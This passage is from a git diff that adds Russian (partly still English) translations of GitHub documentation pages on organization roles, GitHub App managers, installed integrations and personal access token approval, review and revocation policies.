безопасности | +|:--------------------|:------:|:-------:|:-------:| +| Приглашение пользователей для присоединения к организации | **X** | | | +| Изменение и отмена приглашений для присоединения к организации | **X** | | | +| Удаление участников из организации | **X** | | | | +| Восстановление бывших участников организации | **X** | | | | +| Добавление и удаление пользователей изо **всех команд** | **X** | | | +| Продвижение участников организации до *координатора команды* | **X** | | | +| Настройка назначений проверки кода (см. статью [Управление назначением проверки кода для команды](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)) | **X** | | | +| Добавление участников совместной работы во **все репозитории** | **X** | | | +| Доступ к журналу аудита организации | **X** | | | +| Изменение страницы профиля организации (см. статью [Сведения о профиле организации](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** | | |{% ifversion ghes %} +| Проверка доменов организации (см. статью [Проверка домена организации](/articles/verifying-your-organization-s-domain)) | **X** | | | +| Ограничение уведомлений по электронной почте для проверенных или утвержденных доменов (см. статью [Ограничение уведомлений по электронной почте для организации](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** | | |{% endif %} +| Удаление **всех команд** | **X** | | | +| Удаление учетной записи организации, включая все репозитории | **X** | | | +| Создание команд (см. статью [Настройка разрешений на создание команды в организации](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** | **X** | +| Просмотр всех участников и команд организации | **X** | **X** | **X** | +| @mention любой видимой команды | **X** | **X** | **X** | +| Возможность создания *координатора команды* | **X** | **X** | **X** | +| Перенос репозиториев | **X** | | | +| Управление параметрами безопасности и анализа (см. статью [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)) | **X** | | **X** |{% ifversion ghes %} +| Просмотрите обзор безопасности для организации (см. раздел [Общие сведения о безопасности](/code-security/security-overview/about-the-security-overview)) | **X** | | **X** |{% endif %}{% ifversion ghes %} +| Управление {% data variables.product.prodname_dependabot_security_updates %} (см. статью [Сведения о {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)) | **X** | | **X** |{% endif %} +| Управление центрами сертификации SSH в организации (см. статью [Управление центрами сертификации SSH в организации](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** | | | +| Создание досок проекта (см. статью [Разрешения для доступа к доске проекта в организации](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | **X** | +| Просмотр и публикация общедоступных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** | **X** | +| Просмотр и публикация частных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | | | +| Изменение и удаление командных обсуждений во **всех командах** (дополнительные сведения см. в статье [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** | | | | +| Скрытие комментариев о фиксациях, запросах на вытягивание и проблемах (см. статью [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X** | +| Отключение обсуждений в команде для организации (см. статью [Отключение обсуждений в команде для организации](/articles/disabling-team-discussions-for-your-organization)) | **X** | | | +| Настройка изображения профиля команды во **всех командах** (см. статью [Настройка изображения профиля команды](/articles/setting-your-team-s-profile-picture)) | **X** | | |{% ifversion ghes %} +| Управление публикацией сайтов {% data variables.product.prodname_pages %} из репозиториев в организации (см. статью [Управление публикацией сайтов {% data variables.product.prodname_pages %} для организации](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** | | |{% endif %} +| [Перемещение команд в иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | | +| Вытягивание (чтение) *всех репозиториев* в организации | **X** | | **X** | +| Отправка (запись) и клонирование (копирование) *всех репозиториев* в организации | **X** | | | +| Преобразование участников организации во [внешних участников совместной работы](#outside-collaborators) | **X** | | | +| [Просмотр пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository) | **X** | | | +| [Экспорт списка пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | | +| Управление метками по умолчанию (см. статью [Управление метками по умолчанию для репозиториев в организации](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** | | |{% ifversion pull-request-approval-limit %} +| Управление проверками запросов на вытягивание в организации (см. статью [Управление проверками запросов на вытягивание в организации](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization)) | **X** | | | |{% endif %} +{% ifversion ghae %}| Управление списками разрешенных IP-адресов (см. статью [Ограничение трафика для предприятия](/admin/configuration/restricting-network-traffic-to-your-enterprise)) | **X** | | |{% endif %} + +{% else %} +<!-- GHES and GHAE older versions don't have columns for Moderators, Billing managers or Security managers. --> + +| Действие организации | Владельцы | Элементы | +|:--------------------|:------:|:-------:| +| Приглашение пользователей для присоединения к организации | **X** | | +| Изменение и отмена приглашений для присоединения к организации | **X** | | +| Удаление участников из организации | **X** | | | +| Восстановление бывших участников организации | **X** | | | +| Добавление и удаление пользователей изо **всех команд** | **X** | | +| Продвижение участников организации до *координатора команды* | **X** | | +| Настройка назначений проверки кода (см. статью [Управление настройкой проверки кода для команды](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)) | **X** | | +| Добавление участников совместной работы во **все репозитории** | **X** | | +| Доступ к журналу аудита организации | **X** | | +| Изменение страницы профиля организации (см. статью [Сведения о профиле организации](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)) | **X** | | |{% ifversion ghes %} +| Проверка доменов организации (см. статью [Проверка домена организации](/articles/verifying-your-organization-s-domain)) | **X** | | +| Ограничение уведомлений по электронной почте для проверенных или утвержденных доменов (см. статью [Ограничение уведомлений по электронной почте для организации](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)) | **X** | |{% endif %} +| Удаление **всех команд** | **X** | | +| Удаление учетной записи организации, включая все репозитории | **X** | | +| Создание команд (см. статью [Настройка разрешений на создание команды в организации](/articles/setting-team-creation-permissions-in-your-organization)) | **X** | **X** | +| Просмотр всех участников и команд организации | **X** | **X** | +| @mention любой видимой команды | **X** | **X** | +| Возможность создания *координатора команды* | **X** | **X** | +| Перенос репозиториев | **X** | | +| Управление центрами сертификации SSH в организации (см. статью [Управление центрами сертификации SSH в организации](/articles/managing-your-organizations-ssh-certificate-authorities)) | **X** | | +| Создание досок проекта (см. статью [Разрешения для доступа к доске проекта в организации](/articles/project-board-permissions-for-an-organization)) | **X** | **X** | | +| Просмотр и публикация общедоступных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | **X** | | +| Просмотр и публикация частных командных обсуждений для **всех команд** (см. статью [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions)) | **X** | | | +| Изменение и удаление командных обсуждений во **всех командах** (дополнительные сведения см. в статье [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** | | | +| Скрытие комментариев о фиксациях, запросах на вытягивание и проблемах (см. статью [Управление отвлекающими комментариями](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)) | **X** | **X** | **X** | +| Отключение обсуждений в команде для организации (см. статью [Отключение обсуждений в команде для организации](/articles/disabling-team-discussions-for-your-organization)) | **X** | | | +| Настройка изображения профиля команды во **всех командах** (см. статью [Настройка изображения профиля команды](/articles/setting-your-team-s-profile-picture)) | **X** | | |{% ifversion ghes %} +| Управление публикацией сайтов {% data variables.product.prodname_pages %} из репозиториев в организации (см. статью [Управление публикацией сайтов {% data variables.product.prodname_pages %} для организации](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)) | **X** | |{% endif %} +| [Перемещение команд в иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | | +| Вытягивание (чтение), отправка (запись) и клонирование (копирование) *всех репозиториев* в организации | **X** | | +| Преобразование участников организации во [внешних участников совместной работы](#outside-collaborators) | **X** | | +| [Просмотр пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository) | **X** | | +| [Экспорт списка пользователей с доступом к репозиторию организации](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | +| Управление метками по умолчанию (см. статью [Управление метками по умолчанию для репозиториев в организации](/articles/managing-default-labels-for-repositories-in-your-organization)) | **X** | | +{% ifversion ghae %}| Управление списками разрешенных IP-адресов (см. статью [Ограничение трафика для предприятия](/admin/configuration/restricting-network-traffic-to-your-enterprise)) | **X** | |{% endif %} + +{% endif %} + +## Дополнительные материалы + +- [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) +- [Разрешения для доступа к доске проекта в организации](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization) diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/adding-github-app-managers-in-your-organization.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/adding-github-app-managers-in-your-organization.md new file mode 100644 index 000000000000..8a0de861fbc3 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/adding-github-app-managers-in-your-organization.md @@ -0,0 +1,44 @@ +--- +title: Adding GitHub App managers in your organization +intro: 'Organization owners can grant users the ability to manage some or all {% data variables.product.prodname_github_apps %} owned by the organization.' +redirect_from: + - /articles/adding-github-app-managers-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization + - /organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add GitHub App managers +--- + +For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)." + +## Giving someone the ability to manage all {% data variables.product.prodname_github_apps %} owned by the organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.github-apps-settings-sidebar %} +1. Under "Management", type the username of the person you want to designate as a {% data variables.product.prodname_github_app %} manager in the organization, and click **Grant**. +![Add a {% data variables.product.prodname_github_app %} manager](/assets/images/help/organizations/add-github-app-manager.png) + +## Giving someone the ability to manage an individual {% data variables.product.prodname_github_app %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.github-apps-settings-sidebar %} +1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to add a {% data variables.product.prodname_github_app %} manager for. +![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) +{% data reusables.organizations.app-managers-settings-sidebar %} +1. Under "App managers", type the username of the person you want to designate as a GitHub App manager for the app, and click **Grant**. +![Add a {% data variables.product.prodname_github_app %} manager for a specific app](/assets/images/help/organizations/add-github-app-manager-for-app.png) + +{% ifversion fpt or ghec %} +## Further reading + +- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)" +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/index.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/index.md new file mode 100644 index 000000000000..5e9f8f884531 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/index.md @@ -0,0 +1,26 @@ +--- +title: Managing programmatic access to your organization +intro: 'As an organization owner, you can control access by apps and {% data variables.product.pat_generic %}s to your organization.' +redirect_from: + - /articles/managing-access-to-your-organization-s-apps + - /articles/managing-access-to-your-organizations-apps + - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-apps + - /organizations/managing-access-to-your-organizations-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /adding-github-app-managers-in-your-organization + - /removing-github-app-managers-from-your-organization + - /reviewing-your-organizations-installed-integrations + - /setting-a-personal-access-token-policy-for-your-organization + - /managing-requests-for-personal-access-tokens-in-your-organization + - /reviewing-and-revoking-personal-access-tokens-in-your-organization +shortTitle: Manage programmatic access +--- + diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md new file mode 100644 index 000000000000..9561a6023d5e --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization.md @@ -0,0 +1,43 @@ +--- +title: Управление запросами личных маркеров доступа в организации +intro: 'Владельцы организации могут утверждать или отклонять {% data variables.product.pat_v2 %}s, запрашивающих доступ к их организации.' +versions: + feature: pat-v2 +shortTitle: Manage token requests +ms.openlocfilehash: 3925b74ad29268ec80eca8dd5355c58987e52843 +ms.sourcegitcommit: d309541e8f0e28bc1ec333a85b00218627e54fe1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/03/2022 +ms.locfileid: '148131388' +--- +{% data reusables.user-settings.pat-v2-org-opt-in %} + +## Сведения о запросах {% data variables.product.pat_v2 %} + +Когда участники организации создают {% data variables.product.pat_v2 %} для доступа к ресурсам, принадлежащим организации, если организации требуется утверждение для {% data variables.product.pat_v2 %}s, владелец организации должен утвердить маркер, прежде чем он сможет использоваться для доступа к любым ресурсам, которые не являются общедоступными. Дополнительные сведения см. в разделе [Настройка политики {% data variables.product.pat_generic %} для вашей организации](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). + +{% data variables.product.company_short %} ежедневно уведомляет владельцев организации обо всех {% data variables.product.pat_v2 %}s, ожидающих утверждения. Если маркер отклоняется или утверждается, пользователь, создавший маркер, получит уведомление по электронной почте. + +{% note %} + +**Примечание.** Утверждение подлежит только {% data variables.product.pat_v2 %}s, а не {% data variables.product.pat_v1_plural %}. Если {% data variables.product.pat_v1_plural %} не ограничен доступом организации, любой {% data variables.product.pat_v1 %} может получить доступ к ресурсам организации без предварительного утверждения. Дополнительные сведения см. в разделе [Настройка политики {% data variables.product.pat_generic %} для вашей организации](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization). + +{% endnote %} + +## Управление запросами {% data variables.product.pat_v2 %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Ожидающие запросы**. Если какие-либо маркеры ожидают утверждения для вашей организации, они будут отображаться. +1. Щелкните имя маркера, который требуется утвердить или отклонить. +1. Проверьте доступ и разрешения, запрашиваемые маркером. +1. Чтобы предоставить доступ к маркеру организации, нажмите кнопку **Утвердить**. Чтобы запретить доступ к маркеру организации, нажмите кнопку **Запретить**. +1. Если вы отклонили запрос, в поле подтверждения при необходимости введите причину, по которой вы отклонили маркер. Эта причина будет предоставлена в уведомлении, отправляемом владельцу маркера. Затем нажмите кнопку **Запретить**. + +Кроме того, можно утвердить или запретить несколько маркеров одновременно: + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Ожидающие запросы**. Если какие-либо маркеры ожидают утверждения для вашей организации, они будут отображаться. +{% data reusables.user-settings.patv2-filters %} +1. Выберите каждый токен, который требуется утвердить или отклонить. +1. Выберите раскрывающееся меню **выбранный запрос и** нажмите кнопку **Утвердить...** или **Отклонить...**. diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/removing-github-app-managers-from-your-organization.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/removing-github-app-managers-from-your-organization.md new file mode 100644 index 000000000000..b8b65ee12463 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/removing-github-app-managers-from-your-organization.md @@ -0,0 +1,44 @@ +--- +title: Removing GitHub App managers from your organization +intro: 'Organization owners can revoke {% data variables.product.prodname_github_app %} manager permissions that were granted to a member of the organization.' +redirect_from: + - /articles/removing-github-app-managers-from-your-organization + - /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization + - /organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Remove GitHub App managers +--- + +For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)." + +## Removing a {% data variables.product.prodname_github_app %} manager's permissions for the entire organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.github-apps-settings-sidebar %} +1. Under "Management", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**. +![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions.png) + +## Removing a {% data variables.product.prodname_github_app %} manager's permissions for an individual {% data variables.product.prodname_github_app %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.github-apps-settings-sidebar %} +1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to remove a {% data variables.product.prodname_github_app %} manager from. +![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) +{% data reusables.organizations.app-managers-settings-sidebar %} +1. Under "App managers", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**. +![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png) + +{% ifversion fpt or ghec %} +## Further reading + +- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)" +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md new file mode 100644 index 000000000000..3a59ebda35bb --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization.md @@ -0,0 +1,40 @@ +--- +title: Проверка и отзыв личных маркеров доступа в организации +intro: 'Владельцы организации могут просматривать {% data variables.product.pat_v2 %}, которые могут получить доступ к их организации. Они также могут отозвать доступ к определенным {% data variables.product.pat_v2 %}s.' +versions: + feature: pat-v2 +shortTitle: Review token access +ms.openlocfilehash: b45401441473f892ba61cf199852588e2a3b3d67 +ms.sourcegitcommit: d309541e8f0e28bc1ec333a85b00218627e54fe1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/03/2022 +ms.locfileid: '148131380' +--- +{% data reusables.user-settings.pat-v2-org-opt-in %} + +## Сведения о проверке и отзыве {% data variables.product.pat_v2 %}s + +Владельцы организации могут просматривать все {% data variables.product.pat_v2 %}, которые имеют доступ к ресурсам, принадлежащим организации. Владельцы организации также могут отозвать доступ {% data variables.product.pat_v2 %}s. При отзыве {% data variables.product.pat_v2 %} ключи SSH, созданные маркером, продолжат работать, и маркер по-прежнему сможет считывать общедоступные ресурсы в организации. + +При отзыве маркера пользователь, создавший его, получит уведомление по электронной почте. + +Владельцы организации могут просматривать и отзывать только {% data variables.product.pat_v2 %}s, но не {% data variables.product.pat_v1_plural %}. Если организация {% ifversion ghec or ghes or ghae %} или предприятие {% endif %} не имеет ограниченного доступа {% data variables.product.pat_v1_plural %}, любой {% data variables.product.pat_v1 %} может получить доступ к ресурсам организации до истечения срока действия маркера. Дополнительные сведения об ограничении доступа {% data variables.product.pat_v1_plural %} см. в разделах [Настройка политики {% data variables.product.pat_generic %} для вашей организации](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization){% ifversion ghec or ghes or ghae %} и [Применение политик для {% data variables.product.pat_generic %}s на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise){% endif %}. + +{% ifversion ghec %} Владельцы организации также могут просматривать и отзывать {% data variables.product.pat_v1_plural %}, если их организации требуется единый вход SAML. Дополнительные сведения см. в разделе [Просмотр доступа пользователя SAML к вашей организации и управление ими](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-authorized-credentials). Дополнительные сведения об использовании REST API для этого см. в [разделах Перечисление авторизации единого входа SAML для организации](/rest/orgs/orgs#list-saml-sso-authorizations-for-an-organization) и [Удаление авторизации единого входа SAML для организации](/rest/orgs/orgs#remove-a-saml-sso-authorization-for-an-organization). {% endif %} + +## Просмотр и отзыв {% data variables.product.pat_v2 %}s + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Активные токены**. Отобразятся все {% data variables.product.pat_v2 %}s, которые могут получить доступ к вашей организации. +1. Щелкните имя маркера, который требуется проверить или отозвать. +1. Проверьте доступ и разрешения, имеющиеся у маркера. +1. Чтобы отозвать доступ по маркеру к организации, нажмите кнопку **Отозвать**. + +Кроме того, можно отозвать несколько маркеров одновременно: + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Активные токены**. Отобразятся все {% data variables.product.pat_v2 %}s, которые могут получить доступ к вашей организации. +{% data reusables.user-settings.patv2-filters %} +1. Выберите каждый токен, который требуется отозвать. +1. Выберите **токены, выбранные в** раскрывающемся меню... и нажмите кнопку **Отозвать...**. diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-your-organizations-installed-integrations.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-your-organizations-installed-integrations.md new file mode 100644 index 000000000000..d672e161f62d --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-your-organizations-installed-integrations.md @@ -0,0 +1,35 @@ +--- +title: Reviewing your organization's installed integrations +intro: You can review the permission levels for your organization's installed integrations and configure each integration's access to organization repositories. +redirect_from: + - /articles/reviewing-your-organization-s-installed-integrations + - /articles/reviewing-your-organizations-installed-integrations + - /github/setting-up-and-managing-organizations-and-teams/reviewing-your-organizations-installed-integrations + - /organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations + - /organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Review installed integrations +--- + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Integrations" section of the sidebar, click **{% octicon "apps" aria-label="The apps icon" %} {% data variables.product.prodname_github_apps %}**. +{% else %} +1. In the left sidebar, click **Installed {% data variables.product.prodname_github_apps %}**. + ![Installed {% data variables.product.prodname_github_apps %} tab in the organization settings sidebar](/assets/images/help/organizations/org-settings-installed-github-apps.png) +{% endif %} +2. Next to the {% data variables.product.prodname_github_app %} you'd like to review, click **Configure**. + ![Configure button](/assets/images/help/organizations/configure-installed-integration-button.png) +6. Review the {% data variables.product.prodname_github_app %}'s permissions and repository access. + ![Option to give the {% data variables.product.prodname_github_app %} access to all repositories or specific repositories](/assets/images/help/organizations/toggle-integration-repo-access.png) + - To give the {% data variables.product.prodname_github_app %} access to all of your organization's repositories, select **All repositories**. + - To choose specific repositories to give the application access to, select **Only select repositories**, then type a repository name. +7. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md new file mode 100644 index 000000000000..db4f59dc3aad --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md @@ -0,0 +1,59 @@ +--- +title: Настройка политики личного маркера доступа для организации +intro: 'Владельцы организации могут управлять разрешением {% data variables.product.pat_v2 %}s и {% data variables.product.pat_v1_plural %}, а также могут требовать утверждения для {% data variables.product.pat_v2 %}s.' +versions: + feature: pat-v2 +shortTitle: Set a token policy +ms.openlocfilehash: 6e05b65ae6814ef9101ed91fdd4a68435e4ba291 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106472' +--- +{% data reusables.user-settings.pat-v2-org-opt-in %} + +## Ограничение доступа {% data variables.product.pat_v2 %}s + +Владельцы организации могут запретить {% data variables.product.pat_v2 %}s доступ к ресурсам, принадлежащим организации. {% data variables.product.pat_v2_caps %}s по-прежнему смогут читать общедоступные ресурсы в организации. Этот параметр управляет доступом только {% data variables.product.pat_v2 %}s, а не {% data variables.product.pat_v1_plural %}. Дополнительные сведения об ограничении доступа {% data variables.product.pat_v1_plural %} см. в разделе [Ограничение доступа {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)на этой странице. + +{% ifversion ghec or ghes or ghae %} Если ваша организация принадлежит предприятию и владелец предприятия имеет ограниченный доступ {% data variables.product.pat_v2 %}s, вы не можете переопределить политику в своей организации. Дополнительные сведения см. в разделе [Применение политик для {% data variables.product.pat_generic %}s на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise). {% endif %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Параметры**. +1. В **разделе {% data variables.product.pat_v2_caps %}s** выберите вариант, соответствующий вашим потребностям: + - **Разрешить доступ через {% data variables.product.pat_v2 %}s**: {% data variables.product.pat_v2_caps %}s может получить доступ к ресурсам, принадлежащим организации. + - **Ограничение доступа через {% data variables.product.pat_v2 %}s**: {% data variables.product.pat_v2_caps %}s не может получить доступ к ресурсам, принадлежащим организации. Ключи SSH, созданные {% data variables.product.pat_v2 %}s, будут продолжать работать. +1. Выберите команду **Сохранить**. + +## Применение политики утверждения для {% data variables.product.pat_v2 %}s + +Владельцы организации могут требовать утверждения для каждого {% data variables.product.pat_v2 %}, который может получить доступ к организации. {% data variables.product.pat_v2_caps %}s по-прежнему смогут читать общедоступные ресурсы в организации без утверждения. {% data variables.product.pat_v2_caps %}, созданные владельцами организации, не нуждаются в утверждении. + +{% ifversion ghec or ghes or ghae %} Если ваша организация принадлежит предприятию и владелец предприятия установил политику утверждения для {% data variables.product.pat_v2 %}s, вы не сможете переопределить политику в своей организации. Дополнительные сведения см. в разделе [Применение политик для {% data variables.product.pat_generic %}s на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise). {% endif %} + +{% note %} + +**Примечание.** Утверждение подлежит только {% data variables.product.pat_v2 %}s, а не {% data variables.product.pat_v1_plural %}. Если {% data variables.product.pat_v1_plural %} не ограничен доступом организации, любой {% data variables.product.pat_v1 %} может получить доступ к ресурсам организации без предварительного утверждения. Дополнительные сведения см. в разделе [Ограничение доступа с помощью {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)на этой странице. + +{% endnote %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** щелкните **Параметры**. +1. В разделе **Требовать утверждение {% data variables.product.pat_v2 %}s** выберите вариант, соответствующий вашим потребностям: + - **Требовать утверждение администратора**. Владелец организации должен утвердить все {% data variables.product.pat_v2 %}, которые могут получить доступ к организации. {% data variables.product.pat_v2_caps %}, созданные владельцами организации, не нуждаются в утверждении. + - **Не требуется утверждение администратора**: {% data variables.product.pat_v2_caps %}s, созданные участниками организации, могут получать доступ к ресурсам в организации без предварительного утверждения. +1. Выберите команду **Сохранить**. + +## Ограничение доступа {% data variables.product.pat_v1_plural %} + +Владельцы организации могут запретить {% data variables.product.pat_v1_plural %} доступ к ресурсам, принадлежащим организации. {% data variables.product.pat_v1_caps_plural %} по-прежнему сможет читать общедоступные ресурсы в организации. Этот параметр управляет доступом только {% data variables.product.pat_v1_plural %}, но не {% data variables.product.pat_v2 %}s. Дополнительные сведения об ограничении доступа {% data variables.product.pat_v2 %}s см. в разделе [Ограничение доступа {% data variables.product.pat_v2 %}s](#restricting-access-by-fine-grained-personal-access-tokens) на этой странице. + +{% ifversion ghec or ghes or ghae %} Если ваша организация принадлежит предприятию и владелец предприятия имеет ограниченный доступ {% data variables.product.pat_v1_plural %}, вы не можете переопределить политику в своей организации. Дополнительные сведения см. в разделе [Применение политик для {% data variables.product.pat_generic %}s на предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise). {% endif %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На левой боковой панели в разделе **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s** 